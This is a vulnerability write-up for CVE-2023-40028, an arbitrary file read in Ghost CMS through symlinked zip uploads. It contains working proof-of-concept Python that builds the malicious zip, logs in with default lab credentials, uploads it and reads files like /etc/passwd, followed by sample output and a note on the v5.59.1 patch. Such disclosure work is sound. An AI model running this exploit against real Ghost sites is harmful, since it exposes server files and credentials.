{%hackmd hackmd-dark-theme %} # Ghost ≤ v5.59.0 Arbitrary File Read (CVE-2023-40028) A vulnerability in Ghost allows authenticated users to upload files which are symlinks. This can be exploited to perform an arbitrary file read of any file on the operating system. ## Overview [Ghost](https://github.com/TryGhost/Ghost) relies on **extract-zip** for handling zip files, **extract-zip** does not deny symlinks (as a matter of fact it welcomes symlinks), an attacker can craft a malicious zip file containing a symlink to any file (i.e: / ) in **content/images/test.png**, upon visiting that file, its possible then to browser the file system (with the privileges as the current user). ```js # https://github.com/maxogden/extract-zip/blob/master/index.js#L127C1-L134C4 ... snip if (symlink) { const link = await getStream(readStream) debug('creating symlink', link, dest) await fs.symlink(link, dest) } else { await pipeline(readStream, createWriteStream(dest, { mode: procMode })) } } ... snip ``` ## PoC A specially crafted malicious zip would look like this: ```python import stat # since zipfile doesn't support symlinks by default import zipfile def create_zip_with_symlinks(output_zip_filename, symlink_details): zipOut = zipfile.ZipFile(output_zip_filename, 'w', compression=zipfile.ZIP_DEFLATED) for link_source, link_target in symlink_details: zipInfo = zipfile.ZipInfo(link_source) zipInfo.create_system = 3 unix_st_mode = stat.S_IFLNK | stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR | stat.S_IRGRP | stat.S_IWGRP | stat.S_IXGRP | stat.S_IROTH | stat.S_IWOTH | stat.S_IXOTH zipInfo.external_attr = unix_st_mode << 16 zipOut.writestr(zipInfo, link_target) zipOut.close() symlink_details = [ ('content/images/malicious.jpg', '/') ] create_zip_with_symlinks('spl0it.zip', symlink_details) ``` What this is doing is basically creating the directories that are expected from Ghost, and using **malicious.jpg** to actually represent the filesystem. ## Browsing the Filesystem Once this zip file is uploaded, it is possible then to employ **malicious.jpg** in order to browse the filesystem (i.e: **content/images/malicious.jpg/etc/passwd**). ```python import requests import time url_login = "http://localhost/ghost/api/admin/session" url_upload = "http://localhost/ghost/api/admin/db" # default admin creds of the bintami container #curl -sSL https://raw.githubusercontent.com/bitnami/containers/main/bitnami/ghost/docker-compose.yml > docker-compose.yml #docker-compose up -d login_data = { "username": "user@example.com", "password": "bitnami123" } upload_files = { "importfile": ("spl0it.zip", open("spl0it.zip", "rb").read(), "application/zip") } with requests.Session() as session: # Login request login_response = session.post(url_login, json=login_data,proxies={"http":"http://127.0.0.1:8080"}) # get an admin session print(login_response.text) # Upload request using the same session upload_response = session.post(url_upload, files=upload_files,proxies={"http":"http://127.0.0.1:8080"}) # upload malicious zip print(upload_response.text) ## now that everthing is done, we use that file as trigger point time.sleep(1) while 1: filename = input("> ") # i.e: /etc/passwd r = requests.get(f"http://localhost/content/images/malicious.jpg/{filename}") # use malicious.jpg to read local files print(r.text) ``` Executing this would provide the ability to browse the filesystem ```bash > /etc/passwd root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync .... ``` ## The Out-Of-Bound Write? The **extract-zip** library incorporates a specific safeguard to counter malicious extraction paths as seen in the code excerpt: ```js # https://github.com/maxogden/extract-zip/blob/master/index.js#L56C1-L64C1 ... snip const destDir = path.dirname(path.join(this.opts.dir, entry.fileName)) try { await fs.mkdir(destDir, { recursive: true }) const canonicalDestDir = await fs.realpath(destDir) const relativeDestDir = path.relative(this.opts.dir, canonicalDestDir) if (relativeDestDir.split(path.sep).includes('..')) { throw new Error(`Out of bound path "${canonicalDestDir}" found while processing file ${entry.fileName}`) } ... snip ``` The above code snippet is designed to securely extract a file from a zip archive. It ensures that no file is extracted outside of the intended base directory, thereby guarding against Zip Slip vulnerabilities. Furthermore, it's notable that the zip extraction process also triggers this safeguard due to the uploads being stored in the /tmp directory. This behavior can be observed in the import-manager.js script: ```js ... snip # https://github.com/TryGhost/Ghost/blob/main/ghost/core/core/server/data/importer/import-manager.js#L222 async extractZip(filePath) { const tmpDir = path.join(os.tmpdir(), uuid.v4()); this.fileToDelete = tmpDir; try { await extract(filePath, tmpDir); } catch (err) { ... snip ``` This further enhances the security by limiting the extraction to a temporary directory, mitigating potential threats even more. ## Patch v5.59.1 contains a fix for this issue. ## References https://github.com/TryGhost/Ghost/security/advisories/GHSA-9c9v-w225-v5rg https://github.com/TryGhost/Ghost/commit/690fbf3f7302ff3f77159c0795928bdd20f41205